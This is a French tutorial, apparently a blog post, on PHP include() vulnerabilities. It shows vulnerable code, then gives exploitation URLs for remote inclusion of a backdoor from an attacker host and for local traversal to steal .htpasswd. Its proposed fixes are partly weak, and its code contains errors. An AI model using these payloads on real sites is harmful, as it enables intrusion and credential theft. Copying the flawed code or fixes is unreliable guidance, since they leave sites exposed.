La Fontion include() permet d’inclure des fichiers, des adresses..
Syntaxe : include(‘http://www.machin.com/fichier.php’)
La Fontione include permet l’inclusion de Fichier, d’une Page etc…
Imaginons le Script suivant :

Citation:  ‹ Choisir › ‹ Etendre

Script :
<?
$fichier = $_GET[‘fichier’];
include($fichier);
?>

On inclue le contenu de la variable fichier, qui contient le GET.
exemple : www.victime.net/index.php?fichier=rock.php
Le Fichier rock.php sera inclu…
Si je met a la place de rock.php, "http://www.google.fr&quot;, ce sera la page de google qui va s’afficher.
Le mechant Pirate incluera alors un script malveillant.
Verifier que la faille existe
On cree un Fichier texte, et on met ce code dedans :

Citation:  ‹ Choisir › ‹ Etendre

<?
echo " ";
?>

On upload ça sur un serveur, et on teste : http://www.victime.net/index.php?fichier=http://www.hackeur.com/testfaille.txt
Si la Faille Existe vous aurez une alerte "Faille" .
Après vous contactez le Webmaster pour qu’il corrige cette faille… ^^
Comment Corriger cette Faille ?
On va utiliser la fonction file_exists()
Synthaxe : bool file_exists ( string filename )
file_exists() retourne TRUE si le fichier filename existe, et FALSE sinon.
file_exists() verifie la presence du fichier sur le Serveur Present.
Le Code Securise deviendra alors :

Citation:  ‹ Choisir › ‹ Etendre

$fichier = $_GET[‘fichier’];
if (file_exists($fichier)){
include($fichier);}
else {echo "Ce Fichier n’existe pas sur le Serveur";}
?>

Chopez des Failles Includes
Comment je vous expliquais dans la Partie 1, la fonction include permet d’inclure un fichier, une page web.
Le Shema Typique d’inclusion d’un Fichier dans une Variable via l’url est :
http://www.victime.com/index.php?page=news.php
La Variable page peut bien sur etre un autre nom, le Fichier affecte aussi avec une autre extension etc … et le Fichier index.php egalement (je rappelle cela pour les gus au fond à droite). Ex d’url valide :
http://www.victime.com/home.php?fichier=blwood.txt
http://www.vi ctime.com/news.php?p=bush.html
http://www.victime.com/fuck.php?fuck=fuck.php
Etc… J’espère que vous avez pigez.
How To Exploit It ? (Comment l’exploitez ? )
La Première Chose à faire est de tester avec l’adresse http://www.google.fr (ou n’importe quoi)
Si la page de google.fr s’affiche c’est bon.
Maintenant vous pouvez include n’importe quoi… Dans notre cas un Backdoor qui avec vous pourrez executez a peu près tout vos fantasmes. Il existe bcp de Backdoor sur le Net, vous en trouverez facilement sur google.
http://www.victime.com/index.php?page=http://www.hacker.com/backdoor.txt
Les Failles Include En Local
Imaginons maintenant que le code d’inclusion est :

Citation:  ‹ Choisir › ‹ Etendre

<?
$page = GET[‘page’];
include("./repertoire/".$page);
?>

Là si vous essayez http://www.google.fr ça ne fonctionne pas… Le Script inclue ici une page qui doit se trouver dans le repertoire "repertoire". Bon dans ce cas on peut pas include de Backdoor, mais on peut includre des Fichiers Presents sur le Serveur… Pour monter d’un dossier on tappe ../, on peut très bien allez cherchez les .htaccess ou les .htpasswd !
Par Exemple ici j’ai trouve un dossier admin à la raçine, hop choppage du .htpasswd :
http://www.victime.com/index.php?page=../../admin/.htpasswd
Mais Alors Comment Corriger cette Faille ?
La Solution dans le Tutorial Faille Include (1) ne permet donc que de se proteger contre une inclusion de Fichier Externe (Backdoor…) pour La Faille Include en Local elle ne permet pas de se proteger vu que la fonction file_exists() verifie la presence du Fichier sur le Serveur.
Mais alors que faire ? : Il faut Gerer toutes les possibilites de la Variable page (ou fichier ou n’importe quoi ou il y a l’inclusion). Ex :
if ($page == "belgique") { include("belgique.html") }
if ($page == "news") { include("news.html") }
if ($page == "blwood") { include("blwood.hml") }
// etc etc etc
else { include("index.html") }
Mot de la Fin
Voilà maintenant vous en savez bcp plus au niveau technique sur la Faille Include, en tout cas plus que sur certains sites où on trouve le même blabla.
Je Termine par une citation de mon pote laviestbelle ou H4ck_m3 ou chaise des fois ^^ :
"J’espère que vous n’utiliserez pas ce tutorial pour supprimer des donnees sur un site… Ayez l’âme d’un hacker, prevenez le webmaster du site vulnerable sur cette faille en lui laissant un petit message ( evitez le mail –> adresse IP ). En lui explicant bien sûr, les remèdes que j’ai cite plus haut…"

Publicités